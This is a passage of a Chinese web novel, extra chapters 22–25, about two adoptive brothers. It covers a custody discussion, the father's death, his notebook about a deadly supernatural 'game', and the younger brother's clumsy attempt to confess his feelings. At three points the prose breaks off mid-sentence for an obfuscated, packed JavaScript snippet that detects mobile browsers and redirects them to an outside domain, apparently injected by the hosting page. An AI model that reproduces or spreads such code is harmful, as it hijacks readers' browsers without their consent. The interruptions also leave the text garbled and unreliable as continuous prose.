他不知道自己应该开心于宁琤的应许,还是应该为对方的态度难过。虽然哥似乎总是这样,可—— 宁琤:“明晚带你去吃麦当劳。” 闻淙:“嗯?” 闻淙:“嗯!” 难过什么?我闻淙不知道那种事! 到第二天,按照约定,闻淙一放学就直奔宁琤就读的文景一中门口。 他在奶茶店里写完了作业,随后被宁琤带着吃了足足三个汉堡薯条的套餐。 宁琤看得目瞪口呆,在闻淙对着隔壁桌小孩的冰淇淋跃跃欲试时把人抓走,“行了行了!” 闻淙可怜巴巴:“哥……” 宁琤冷酷无情:“没钱。” 闻淙嘀咕:“骗我。” 他知道哥的兜还鼓着,但这会儿自己的确吃饱了,闻淙便也没当熊孩子,开开心心地跟在宁琤后面回家。 宁琤还问了句:“你今晚是睡我屋还是睡你自己那边?”毫不意外地得到了闻小淙打算再蹭一晚的答案。 宁琤哼笑了声,懒洋洋地说:“你要是一直在这儿住,以后洗碗的活儿就都是你的。” 闻淙无所谓地答应了:“行呗。”想了想,压低声音:“我知道我爸妈留下的卡的密码。” 原先是讲自己愿意承担房租和伙食费,可话还没说完,前面的宁琤停了下来。 闻淙困惑地从他背后探头,随即浑身僵住。 “姑姑……” 22.番外一(下) 在侄子没有回家的第二天,闻姑姑到底联系了班主任,想要知道“小淙这两天是到哪个同学家里寄宿”。 这也是她儿子女儿给她的解释。两人是龙凤胎,比闻淙大两岁,就在同一所小学上六年级。都还是孩子,闻姑姑和她丈夫便没给儿女和侄子配手机——那个年代,也没有后面风靡的电话手表——平时有个什么消息,都是几个孩子互相传话。 侄子有好朋友,闻姑姑为此高兴。但接连两天去别人家中麻烦,她还是觉得忧心,于是打算也给对方家里准备些回礼。 这一联系才发现,事情和自己想象中不同。 等到宁琤和闻淙回家,正碰上宁旭升和闻姑姑相对而坐。看着低下脑袋一言不发站岗的闻淙,宁琤拍了拍他脑袋,小声说:“去我屋写你作业。” 闻淙:“写完了。” 宁琤眼睛眯起一点,“那就去写我的作业。”把自己书包塞给闻淙。 某个小学生万万没想到六年后的书包会这么险恶——不对,沉重——被压得险些一个踉跄,又被宁琤提溜着站稳。 “快走快走。”他把闻淙打发掉,这才回过身,自己也坐在沙发上,一副要参与讨论的态度。 宁旭升想把儿子一并打发了,可不等他开口,宁琤已经道:“阿姨,您把自家孩子的房间给小淙住,这是为了小淙考虑没错,但要是我爸干一样的事,我肯定要觉得他是不是对我有意见呢。” 闻姑姑和宁旭升都愣住。 宁琤尽量让自己的表述委婉一点:“您照顾侄子是好心,但自己家里也得顾好,对不对?” 他知道闻淙这会儿十有八九正在偷听,也知道对方是真的在感激姑姑,只是感激中掺杂了太多委屈。于是仔细斟酌言语,希望把对所有人的伤害降到最低。 闻姑姑在他的话里茫然须臾,又倏忽反应过来:“小淙……小淙给我说了好几次想把房间还给哥哥,难道?” 宁琤没有摇头或点头,而是又道:“小淙爸妈不在了,他表面上看起来还能撑住,但其实心里是很慌乱的。从昨晚到现在,一直在和我讲,说他知道他爸妈留下的银行卡密码,可以负担自己的生活费和伙食费,希望能跟之前一样留在这边住。” 他稍稍调换了两件事的顺序,却更有利于闻姑姑想明白情况。是啊,自家丈夫是提过,兄嫂这套房子虽然老旧了些,可小区环境很好,周边配套设施也不错,很卖得上价。 她神色不断变化。最后最后,和宁家父子说:“我想再和小淙聊聊。” 宁旭升看宁琤,宁琤想了想,说:“那我去问问小淙。” 好吧,其实不用问。 他话音刚落,闻淙已经把房门推开了。 这天谈话的结果,就是闻淙留在“自家”。然而话是这么说,实际情况却是从那以后,他近乎都和宁琤同住。 直到两年后宁琤高考结束。他报考了文景市的大学,按说并未远离,可平日毕竟要在学校居住,待在家中的日子骤减。 闻淙十分遗憾,宁琤则戳戳他的脑门:“不高兴什么啊?屋子都成你的了。” 闻淙晃头,再晃头,把宁琤的手指晃开,“这有什么高兴!我又不是没屋子。” 语毕,犹豫一下,又凑了过来,小声和宁琤讲:“爸上礼拜又通宵加班了,回来以后脸色特别差,我担心……” 他忧心忡忡,宁琤也皱眉。两人商量一番,在下个周末的时候强行带宁旭升去医院体检。 结果出来了,却显示宁旭升的身体情况十分不错,各项指标都远超同龄人。 “就说你们是瞎操心吧。”他笑呵呵地讲,“行,这下放心了?——今天不摆出来,咱爷仨儿去吃顿火锅。” 宁琤看着医院给出的报告单,再想想父亲每次加班回来的状态,还是有些放心不下。但闻淙已经开心起来,“火锅火锅!” 宁琤听着两人谈笑的动静,垂下眼,觉得应该的确是自己想多了。 读大一的时候,他就像眼下这样,每周都要和爸爸、弟弟团聚一次。 到了大二,更多校园生活将宁琤绊住,他在家的日子成了一个月只有一两天。好在还有寒暑假,到这时宁旭升总会大方地表示,自己出钱,让两个儿子一起到外省旅游。 闻淙听得眼睛亮晶晶。是为即将到来的旅程高兴,也是欣喜于在父母离开、兄姐排挤之后,自己有了新的、真正的家庭。 大三时不少同学已经开始为毕业后的事做准备,宁琤也是其中之一。他对继续学业的兴趣平平,猜想自己多半会在日后找一份普通工作,普通地生活。 好处是这么一来,自己又能待在家里。 “家里?”舍友听了他的打算,顿时开始调侃,“你在学校不找女朋友,毕业了也不找?到时候肯定和人一起住嘛!” 宁琤眨了下眼睛,看着对方一副沉浸于爱情滋润的样子,再对比一下自己。 “没兴趣。”他礼貌地说,“我和我爸、我弟一起住就行了。” 不过闻淙长大了,两人再睡一张床是有点挤不下。父子三人便商量着要把自家和隔壁闻家父母原先留下的房子打通,到时候他们还住一起,宁琤和闻淙也都有单独住处。 他们都觉得这样的安排很好,然而不等宁琤期盼毕业后的生活到来,他便遇到了一件无法理解的事。 一个诡异恐怖的【游戏】选中了他。每隔一段时间,他都要被迫进入其中,挣扎求生。 …… …… 不能让爸知道这件事。他年纪大了,体检报告上的数据再好,宁琤也不愿让他为自己操心担忧。 更不能让小淙知道这件事。他马上就要中考了,最不能分心。再说了,一个小孩子,除了担心之外原本也做不了什么。 因为不确定【游戏】什么时候会降临,宁琤不得不再次减少回家的次数,就连假期也借口找到了学校附近的实习,更多留在宿舍中住。 闻淙明显不开心了。正在叛逆期的小鬼,难得见到宁琤回家也要阴阳怪气。然而在再次死里逃生的宁城眼里,弟弟撇嘴的样子都是可爱的。他笑眯眯地问闻淙,最近在学校过得怎么样?爸说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802544|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们下周组织了研学,是去什么地方? 闻淙继续阴阳怪气:“说得好像你真的关心一样。” 宁琤一怔。他不确定自己这会儿是露出了什么表情,但闻淙明显停顿了一下,开始别扭地解释:“能去哪里?不就是博物馆。”文景市别的不多,文物还是多的,“你到底找了什么实习啊?忙成这样。” 这回换做宁琤停顿了。片刻后,他还是笑眯眯的样子,回答:“游戏公司,主要是做一些新项目的美术设计。” 闻淙“哼”了声,当面蛐蛐他:“肯定是没什么人玩的小公司!” 宁琤:“啊,是是是。” 他最庆幸的是,每次从【游戏】中出来时,无论身上受了怎样的伤,都能直接恢复为最好的状态。 爸爸和小淙都不会发现不妥,这就很好了。当然,精神上的创伤是另一回事。 第三次听闻淙说起“你最近真是做贼去了吧,脸色怎么这么差”的时候,宁琤口中和他玩笑,心中却隐隐察觉了不对。 可他又觉得自己的想法过于荒谬。怎么可能呢,爸他…… “等我上大学了,”闻淙又说,“肯定不会和你一样,找个这么没意思的实习。” 宁琤收回心思,叹气:“小淙,你怎么年纪越大越不可爱啊?”手里比划,“长这么高的时候一天到晚地缠着我,还和我说呢,要和我考一个大学。也不想想,等你上大学的时候我都几岁了,得毕业多少年。” 闻淙眼睛都瞪大了,不敢相信宁琤竟然拿这种黑历史“攻击”自己。可宁琤的话还没完,“研学回来是不是就要考试了?上次你排年级多少名来着。” DOUBLE KILL! 闻淙憋了半天,终于回答:“我现在已经和你一样高,以后肯定比你高!” 宁琤:“嗯嗯。” 闻淙:“还有,我每次考试都是班上前三、年级前二十,你就别操心了!” 宁琤:“好呀。” 宁琤:“小淙最棒了——哎等等,你是不是脸红了?” 闻淙:“啊啊啊,没有!” 宁旭升在厨房忙活,两个孩子的斗嘴声从客厅传过来,他听着,忍不住露出笑容。 谁都没有想到,像这样的团聚已经进入次数倒数。 再过不久,宁琤读大四,闻淙也顺利升入高中的时候,宁旭升去世了。和闻淙父母走时一样,也是遇到了意外事故。 宁琤操办了父亲的葬礼,随后独自坐在空下来的房间,觉得天地俱寂。 不知坐了多久,他听到“嗡”的一声。手机震动着,提示他收到一封来自父亲的定时邮件。点开看,里面的第一句话是:“小琤,你看到这些内容的时候,我一定已经不在了。” 宁琤小心翼翼地读着,生怕自己翻得太快,看完太早。 这么划过几页,他读到:“……我卧室的床头柜里有个夹层,里面的东西留给你。以后要是碰到撑不住的时候了,打开看看,没准能帮到你。” 文字入眼,宁琤的心脏无比剧烈地跳动起来。 23.番外二(上) 【游戏】进行的时候,所有人都只记挂要去怎么活下去,绝无心思再想其他事情。 到了【游戏】结束之后,倒是有人会去探究这一切的来源、是何时开始。可到底力量有限,宁琤至今也只是模模糊糊地了解到几场【游戏】当中的诡异是何时出现、做过什么,可要说更进一步的状况,他始终无从追寻。 手机掉在沙发上,青年冲进父亲昔日的房间。 他用了很大努力才让自己的手不继续颤抖,好找出父亲说过的、留下的东西。 那是一个笔记本。很陈旧了,皮革制成的封面已然破损,里面的纸页也显得粗糙,碰着都觉得要碎掉。宁琤很小心地将其翻开,看到最初的字眼。 那是一个二十余年前的日期——就在宁琤出生的六个月之后——下面带着记录,说自己和妻子遇到了恐怖至极的事。虽然已经过去数日了,却还是没有从噩梦中醒来。 “我们没有疯。虽然所有人都这么说。 “和阿瑛商量后,我决定把前面遇到的事记录下来,即便没有人能看懂……” 往下看,原来当初爸爸在接妈妈下班回家的时候,骑着车呢,周边起了雾。 这倒是常事。文景市从前更注重城南的发展,城北本就荒芜。古时这地方又多坟茔,阴气重,到了近代也比城南潮湿许多。还是后面政府北迁,带动了城北建设,情况才有所好转。 当年的夫妇二人不觉得不对,只不断地按铃,希望不要撞到人。 这么骑了很久,终于到了雾气消散的时候。出现在眼前的却非熟悉的建筑,而是一个陌生村庄。 和宁旭升、周瑛一样莫名来到这个村子的人还有数个。那年普通话还没不像当下一样普及,二十年后的宁琤知道他们都是被选中的【玩家】,当事人们却是付出很惨烈的代价才弄明白自己是来做什么的。 一共八个人进了村子,到第五天只剩三个活着。而在宁、周夫妇之外,另一个幸存者也有一个让宁琤眼熟的名字。陈慧敏。 宁琤本以为自己已经不会再惊愕了,可看到这三个字,脑子里还是“嗡”的一声。 仿佛浑身血液都在朝脑袋奔腾。他头痛欲裂,整个人都似落入梦中,手的颤抖也更加严重。 如果不光是自己爸爸妈妈,连小淙的妈妈也——怎么会这样,怎么可能是这样…… 宁琤能感觉到自己的脸颊在发烫,除此之外却是浑身冰冷。像是有一双无形的眼睛在注视自己,冥冥之中将一切安排。 他花了很长时间才勉强镇定下来,继续往下读去。 宁旭升又记载了自己和妻子接下来经历的【游戏】。然而越是往后看,宁琤越是见到很多字迹模糊不清的地方。那会儿宁琤觉得这是因为年代久远,本子发潮、模糊了上面的内容。到后来,随着自己进入【游戏】的次数不断增加,能在父亲笔记本上看到的内容也跟着增多,他才意识到这是有一股力量在故意干扰。 这让他更是忧心忡忡。新的发现证明一件事,【游戏】似乎不光存在于那些可怕的世界,而是对现实也有所影响。 现实……小淙。 自己已经深陷地狱了,绝不能让闻淙卷进来。 宁琤这么想,随即又觉得无力。自己的父母、小淙的妈妈一定也有同样的心思,尤其是爸爸,他已经在【游戏】的折磨下活了二十年啊,从前难道不曾对此有过什么努力吗? 宁琤相信,这个问题的答案一定是“否”。可自己还是没有逃过去,既然这样,小淙又能安稳多久? 他心中悲凉,继续往后翻动。然而到了本子中段,上面的字迹已经完全无法辨别。直到最后,宁琤终于分辨出爸爸留给自己的、近乎是遗言的话语。 “小琤,你能看到这里面写的东西,已经是最坏的一个结果,但情况很可能还会更糟。 “我和你妈妈,还有你闻叔叔、陈阿姨,这些年一直在想办法保护你和小淙,但眼下看,我们失败了。 “但小琤,你也要记住,我已经在在那鬼地方闯荡了二十年,直到当下才有第一次失手。你有我的经验,一定能活得更长,走得更远。 “有人说【游戏】是降临在人间,让人类在绝境中进化的神明。我不相信这话,也不相信它不可战胜。 “记住,保持希望是最重要的事情。当年我和你妈妈也有过绝望的时候,可看到牙牙学语的你,就又觉得可以坚持下去。 “小琤,你就是我们的希望。” 越往后看,字迹越是凌乱。 到最后一个字入眼,宁琤已经泪流满面。 他能看出来,爸爸留下这些字眼是在什么时候写的。 宁旭升在进入最后一场【游戏】之前就预感到自己要离开了,却还是放不下从小看到大的两个孩子。 没关系。 合上破旧的笔记本,宁琤心想。 从今天开始,我来照顾小淙。 你和妈妈觉得我的出生是你们的希望,那让小淙幸福快乐、安全健康,就是我的希望。哪怕真的有一天,他会和我一样落入这个地狱,我也会尽最大的努力让他活下去。 宁琤的这些念头,闻淙自然是不知道的。 没了宁旭升,他又还是一个不过高一、两年后要面临至关重要的高考年纪的学生,闻姑姑再度开始不放心侄子,开始和宁琤旁敲侧击,想知道闻淙愿不愿意到自己家住。 如果是没有被【游戏】选中的时候,宁琤是不会同意这个提议的。但眼下,虽然从爸爸的过往行为中他能感觉到,至少在长辈们看来,和【玩家】接触增加并不会对旁人有影响,但光是想到闻淙也可能重复自己的命运,他还是不敢赌。 宁琤答应闻姑姑,自己会去问问闻淙。 他其实只是传达了闻姑姑的意思,即便如此,闻淙也开始生他的气。 他的确去闻姑姑家里住了一段时间,可没过多久,小时候的事重新上演。这回闻姑姑的儿女还有了更充分的理由:自己二人正在读高三呢!怎么能多一个外人来影响他们? 和小时候不同,闻淙这回再回旧居,有很大原因是不愿意看着姑姑为难。 往日的家冰冰冷冷。先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812082|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是爸妈不在了,然后是宁叔叔。到现在,哥也不回来。 闻淙觉得哭哭啼啼是件很丢脸的事,可他还是没有忍住。反正没有人能看到,稍微发泄一下又怎么了? 然而发泄到一半儿,宁琤再次出现。还和以前一样,上来就揉揉闻淙的脑袋。 高兴。害羞。生气。尴尬。无数情绪汇聚在一起,闻淙在宁琤说给自己做馄饨的时候爆发了:“你明知道我讨厌吃馄饨!” 等等——完了完了,怎么能这么和哥说话,哥本来就不管我了,这下会不会生气会不会讨厌我会不会……呜呜呜,没有人要我,我要去当长在角落里的蘑菇! 闻淙板着脸,默默崩溃。 宁琤:“还想吃好的?去梦里吃比较快。” 一边说话,一边开门。 闻淙眨眼,观察着宁琤的神色,在对方示意自己跟上的时候狂喜着贴了上去。 再细看,又发觉哥眉眼里带着从前没有的憔悴。他心里“咯噔”一下,开始后悔自己的任性多心。 闻淙小心翼翼地试图关怀对方,接着听宁琤说,长辈们一定也希望他过得好。 他恍惚了一刻,眼眶又开始发热,话都要说不出来了,却还是多问了一句,哥有没有讨厌自己。 当然没有。不光如此,宁琤还答应他,以后每周末都会和从前一样和他团聚。 这就足够了。闻淙心满意足,暗暗祈祷,希望自己和哥能永远这么生活下去。 …… …… 他是三年后开始后悔的。 …… …… 准确说,是在大学时被同学调侃,说自己一天到晚都在“哥哥哥哥哥哥”个不停,知道的知道那是他哥,不知道的还以为那是他男朋友的时候。 闻淙惊呆了:“男、男朋友?” 同学也愣了,没想到闻淙会把一句玩笑话这么正经地重复出来,于是略有尴尬地说:“我就是开个玩笑哈,不是那个意思,你别多想。” 闻淙沉默。 他的确没有多想,而是觉得别人毕竟没有自己和哥一样的经历,难怪不理解他们之间的感情。 哈哈,就是这样。 哥怎么会是自己男朋友。 如果哥是自己男朋友…… 第二天早晨,从梦中醒来的闻淙一边搓衣服,一边畅想,觉得这可能真的是一个不错的主意。 后面晾衣服的时候,几个舍友也醒了。他们这天第一节有课,几人挤在阳台一起洗漱,动作间却总觉得哪里怪怪的。 研究了半天,终于发现原来更早之前就洗漱结束的闻淙一直在门口看自己几人。眼神飘过来,挪回去。再飘过来,再挪回去。 舍友:“马上马上!或者老四你先去教室,也给我们占个座?” 闻淙没拒绝:“行,要带早饭不?” 舍友们大喜过望:“好的爹!” 闻淙笑骂:“去你们的。行了,那我先走。” 看着这些人就觉得没一个靠谱,自己还是上网研究一下要怎么追人吧。 24.番外二(中) ——表达出自己对所追求对象的关怀,在适当的时候捅破窗户纸、说明心意。 看来看去,闻淙总结出了这么一条前人经验。 和他原先想的也差不多。闻淙信心满满,开始每天在聊天软件上和宁琤说早安晚安、分享生活,并以极大的好奇心开始打听宁琤的生活日常。 如此三天之后,宁琤果然解读出了一些东西。在闻淙蹲在学校一角兴致勃勃地给刚刚拍的蘑菇p图时,来自“哥(爱心)未来男朋友”的消息弹了出来,问他:“小淙,你是不是有什么话想给我说?” 闻淙手一抖,差点把手机掉在地上。 自己是打算过段时间正式表白没错,但这进度也太快了点吧? 如果一切顺利的话,这周是不是就能同居了?也不是不行,自己得早日准备起来。 想到自己那天梦里的画面,闻淙口干舌燥,眼神乱飘。 这时候,又一条来自宁琤的消息出现了,竟然是给他转账。 闻淙眨巴眼睛,原本的兴奋成了茫然。好在宁琤的确很懂他,不等闻淙问出来,他已经主动发消息给自家弟弟:“是不是生活费不够用了?这些先拿着花。小淙,我知道你要强,但跟我真的不用客气。” 闻淙:“哥对我真好……等等!我不是这个意思啊!” 他宽面条泪,没有接收转账,手忙脚乱地就给宁琤回电话过去。 宁琤接了,但声音压得很轻,闻淙还听到走路的动静。他反应过来,惴惴不安地问:“哥,我是不是打扰你了?” 宁琤还是轻轻回答:“我开会呢。小淙,有什么事儿吗,钱还不够?” 他似乎是有点忧心了,劝闻淙:“这么些年,我也没仔细问过你爸妈究竟留下了多少。咱们正常开销的话,怎么花都行,但如果你是借了贷款啊,或者在网上被骗了……唉,和我说,我尽量想办法帮你解决。” 闻淙的宽面条泪流得更快了,一时不知道该继续感叹“哥果然超爱我”还是“哥你等等,你到底在说什么”。他赶忙澄清,说自己绝对没有做什么不好的事,“就是想关心你一下啊!你到底想到哪儿去了?” 宁琤的声音里有了些笑意,“这样啊?那小淙,谢谢你。” 闻淙低声说:“谢什么,咱俩谁跟谁?——你忙的话,我就先不打扰啦,咱们回头说。” 宁琤答应了,“好,回头说。” 电话挂断了,闻淙握着手机在原地发呆。 刚才没回过神,现在想想才觉出宁琤以为自己是搞了网贷那些才突然缺钱,却毫不犹豫地说要帮他还款是个多么可贵的事情。 没有责骂质问,就那么轻飘飘地答应了……闻淙捂着脸笑,笑过了,又失落起来。 这不是一件多么值得高兴的事。 哥关心他,他当然甘之如饴。但哥并不觉得自己是一个可以追求他的人,只把他当做弟弟。 闻淙瘪了瘪嘴,小声给自己打气:“虽然赛道跑错了,可我跑得足够远啊!哥那么疼我,肯定舍不得我难过。”发呆,“不过,看来我之前的思路是有问题。” 比起“追求”宁琤,眼下最重要的是“让哥意识到,他家小淙已经长大了,是个可以爱慕他的人了”。 可具体要怎么办?自己是在梦中察觉感情变化的,却也不能给哥也造个梦。 闻淙继续发呆,思考。 不多时,他眼前一亮。 “造梦不行,但我可以直接造个人啊。” 以闻淙对宁琤的了解,要是自己直接来一句“哥,咱们能不能在一起看看”,宁琤多半会觉得自己在学校压力太大、脑袋出了问题。 但要是直接以年纪合适、门当户对的身份出现,事情便有了另一种可能。 等到新身份和哥确认关系,自己再找个机会掉马甲,哥总不能再和他分手吧? 闻淙摩拳擦掌。为了不让宁琤察觉不妥,他还特地忍耐了两天,这才把自己精心准备的小号推给对方。 “这是我们专业一个读研的前辈。”他说,“人家是工作了几年之后才又回学校了的,和哥你年纪差不多。上次聚会的时候听说你是做游戏的,挺感兴趣,又从我朋友圈看了你的照片,就说想跟你认识一下。” 一段话中,闻淙巧妙地避开了所有与性别有关的词。 他还不知道宁琤能不能接受和男性谈恋爱。虽然哥一直是副无欲无求的样子,大学都毕业了也没谈过女朋友,导致闻淙上高中那会儿就悄悄怀疑对方是不是其实喜欢男的,又不愿意给自己说。 想到暗恋对象可能早在自己不知道的时候和其他人交往过,闻淙便醋得不行,自言自语:“要真是这样,我就……嗯,我也不能怎么样。” _(:з」∠)_! 总之,还是做两手准备比较好。 大概是又在忙碌的原因,一直到晚上,宁琤才回闻淙。 内容却是他的晚饭照片。普普通通的工位上,普普通通的外卖。 闻淙一边抱怨他又糊弄自己的胃,一边心跳加速地拿着登了小号的手机,只等宁琤的申请过来。 等着等着,大号上,对方来了一句:“替我谢谢这位前辈,不过我太忙了,可能没时间和人交朋友。” 闻淙目瞪口呆,怎么也没想到自己还能以这种方式失败。 可他又有些不甘心,于是使出杀手锏:“可我已经收了人家五十块介绍费!” 宁琤:“……” 宁琤给他转了五十块。 闻淙卒。犹豫了会儿,还是在换赛道和死缠烂打——不对,继续努力——中选择了后者。 宁琤最后还是没撑住,勉为其难地添加了那个小号作为好友。 闻淙半是心虚半是高兴,迅速将自己修改了几十遍的“自我介绍”发过去。 宁琤也很快回复了他,看着新消息出现,闻淙掌心里都是汗水。一股奇怪的酸溜溜出现了,分明事情完全在他掌控之中,可“万一哥就这么喜欢上‘别人’的可能性”倏忽出现,将他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825651|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击中。 他嘴巴咧了咧,发热的头脑突然降下温来。掌心变得冰凉,目光飘飘忽忽,不知该落在何方。 手机的提示音还在不停响起。滴滴答答,让人烦躁。 闻淙终于还是聚起勇气,将目光转了过去。他还在失落,还在恐惧,偏偏映入眼帘的内容是:“你好,我是小淙的哥哥。小淙和我转告了你的意思,可能他只是误会,不过我这边还是得说明一下,我平时工作比较忙,各方面事情都很多,大概是没时间再抽空认识新朋友的……” 还把之前“前辈”给闻淙的“介绍费”又转了回去。另外加了五十块,说请“前辈”喝奶茶,感谢对方在学校照顾自己弟弟。 闻淙沉默。 抽抽鼻子。 小小声、哑着嗓子自言自语:“哥,你怎么这样啊。” 搞得他心头空空落落,不知道自己应该因骗人而愧疚,还是该因宁琤的反应高兴。 不过,再次确定哥心里真的只有自己——可能还要加上工作——无论如何,都不算坏事。 情绪波动了一会儿后,闻淙揉了揉脸,意识到自己恐怕的确只剩下一条路能走。 他必须向宁琤告白了。当面,明确地告诉对方,你弟弟想和你在一起。 事不宜迟,闻淙把日子选在这周周末。 他提前联系过宁琤,知道对方又要加班,不过晚间会回来和自己一起吃饭。 这让闻淙有了整整一天的准备时间。他一大早就开始收各种跑腿送来的东西,从食材到鲜花,从新的漂亮桌布到花里胡哨的烛台。时间推移,日头渐落,闻淙还真赶在宁琤到家之间准备出一桌像模像样、很有氛围的晚餐。 他满意得不行,围绕着桌子拍了快有二十张照片,又精挑细选出一张什么信息都透露不出来的发给宁琤,问他:“哥!你什么时候回来,我已经做好晚饭啦。” 宁琤没有回复。 闻淙歪歪脑袋,吐槽暗恋对象的老板:“这都礼拜六了还不让人走!什么人啊。” 他庆幸自己目前只摆了凉菜上桌,热菜都只是备好,待会儿人回来了再下锅。眼下便是耐着性子等,可万万没想到,这一等,就到了天都黑透。 八点了,宁琤还是没有任何音讯。打电话过去,对方也不曾接听。 闻淙逐渐着急起来。想去公司那边找宁琤吧,又担心两人正好走岔了。可眼见人一直不回来,干待着也不是办法。 又一次尝试联系失败后,他干脆在桌子上给宁琤留了纸条,随后便匆匆打包了两道热菜出门找人。紧赶慢赶到了地方,宁琤公司所在的楼层是一片黑,一盏灯都不曾亮。 闻淙站在楼下往上望,心想,哥一定是已经下班了,说不定手机没电,这才没有看到自己发的消息。 绝不是本来也没有加班,只是随便找个理由骗自己。 绝不是——“叮铃铃”。 他手忙脚乱地把响了的手机拿出来,开开心心地接通:“哥!你终于理我了!” 25.番外二(下) 和闻淙前面想的一样,他出门的时间差不多恰好是宁琤下班的时间,两个人十分不巧地错开了。 手机问题也有解释了,宁琤:“你给我打了电话吗?我都没发现……刚才试着给你打,结果完全拨不出去,在网上查了半天才弄好。” 闻淙已经开始急匆匆地往回赶。听到这里,连忙回应:“那哥,你先休息一下,等我——” 一阵脚步声从听筒中传了出来。宁琤这会儿大概是走到了厨房,“怎么准备了这么多东西?小淙,你是不是……” 闻淙紧张。这做法的确有些不同寻常,哥不会看出什么了吧? 他提心吊胆,听宁琤沉吟了片刻,最后笑道:“在学校得了什么奖?” 闻淙一愣。 情绪回流,青年眼睛眨巴,哭笑不得:“哪有啊,这是什么评奖的时候吗?”才刚到学期中呢。 宁琤似乎嘀咕了句“也是哈”,这才回应:“不过小淙,”打了个呵欠,“我今天挺困了。本来说你一时半会儿回不来,要不然我把菜炒了,不过光是在这儿站了几分钟都累得不行……” 闻淙“啊”了声,在心里大声吐槽暗恋对象不做人的老板。 “那,”他虽然很遗憾,却还是更在意宁琤的状态,“要不然就算了,咱们明天再一起吃饭。” 宁琤还是笑道:“好啊。不过小淙,你真的没碰到什么好事儿吗?我看桌子这儿布置得特别漂亮。” 闻淙听着这话,心跳漏了一拍。 是、是啊,自己人走了,那些蜡烛鲜花却还在。只是自己“弟弟”的形象恐怕还是太深入哥心,都这样了,他还是没反应过来自己想做什么。 这让闻淙在庆幸的同时,还有些失落。 他又和宁琤说了几句。只是听着对方透着倦意的声音,闻淙到底提出结束通话、让宁琤尽快去休息。 “那些菜啊盘子啊你就别管了,”青年强调,“我整的摊子,我负责,你赶紧睡觉!” 小时候都是哥这样催促他,眼下反了过来,让闻淙说着说着,心情便开始微妙。 自己长大了嘛——再有,和哥之间还有很长时间呢,不急于这一时三刻。 宁琤答应了,和闻淙道了晚安。 地铁上,闻淙把安静下来的手机塞进口袋。抬头一看,玻璃映出个傻笑的人影。 同一时间,两人家中,宁琤站在餐桌侧面的一把椅子后面,久久不动。 望着“弟弟”的一番布置,他神色复杂,眉眼中的郁郁很长时间都不曾散开。 “小淙,”他叹息,“你怎么偏偏……唉。” 等到闻淙终于到家,宁琤已经睡着了。 青年收拾好东西,也想快点入睡、和喜欢的人共度接下来的白天。偏偏晚上发生了太多事,以至于躺在床上也是辗转反侧,久久不能入眠。 好不容易睡着,竟也完全不得安宁。各样梦境接二连三地出现,一时是哥准时下了班,在自己告白之后十分惊喜地接受,两个人自此以后便是甜甜蜜蜜恩恩爱爱;一时是哥始终没有回来,无法联络,自己苦等了整整一夜才终于回过神来,恐怕对方已经察觉了自己的心思,选择和他永别。 闻淙怎么会接受这样的结果?他在梦中痛哭不止,整个人都快背过气去。如此又过了些时候,第三个梦出现了。是宁琤无奈地问他:“你是怎么回事?哦,其实是在学校不开心了?” 闻淙继续哭:“哥,你别不要我。” 宁琤摸摸他的脸,动作温柔,语气也是温柔的,“我怎么可能不要你?小淙,你是我最重要的亲人。” 闻淙哭得更大声:“我才不要当你的亲人,我——呃,哥?” 他终于意识到,脸颊上的触感太真实,正在和自己讲话的兄长也太真实。自己原来不是在做第三个梦,而是已经醒来。 强烈的尴尬让闻淙硬生生把已经到眼眶的泪水憋了回去。他手忙脚乱地坐起来,头一次觉得嘴巴里的舌头太碍事儿,讲起话来都打磕绊,“哥,你怎么进来了?我、你等我一下,我洗漱了就去做早饭。” 一边说,一边要踩着拖鞋下床。结果还没伸出脚,脑袋已经又挨在枕头上。 是宁琤把他按了回去。手心还贴着闻淙的面颊,宁琤说:“不用做了。小淙,我刚刚又接到公司那边的电话,说昨晚做的东西还有点问题,得再回去改。” 闻淙呆住了,花了几秒钟才反应过来:哥都忙了整整一个礼拜了,周末却还得连着两天加班? 果然是个黑心老板! “你这到底是个什么工作?”青年生气地问,“老板有读过劳动法吗?” 宁琤笑了,“你怎么想到这儿了?放心,有加班费,完全合法。” 闻淙还是皱眉,小声说:“可是,你也太累了吧?”犹豫一下,话音跟着停顿,“哥,其实这些年我爸妈留下来的钱都没怎么……唔。” 他原本想说自己还算有钱,七位数的存款,让两个人躺平过日子是没问题的。可宁琤捂住他的嘴巴,不让闻淙把话说下去。 “哪有哥哥让弟弟养的?”他说,“好了。我本来就是想走前悄悄看你一眼,发现你在哭才到床边瞧瞧,结果耽搁了这么久。小淙,你继续睡,咱们回头见。” 回头,意思是周一开始闻淙也要在学校带着,就算一切顺利,他们下次见面也是一周之后了。 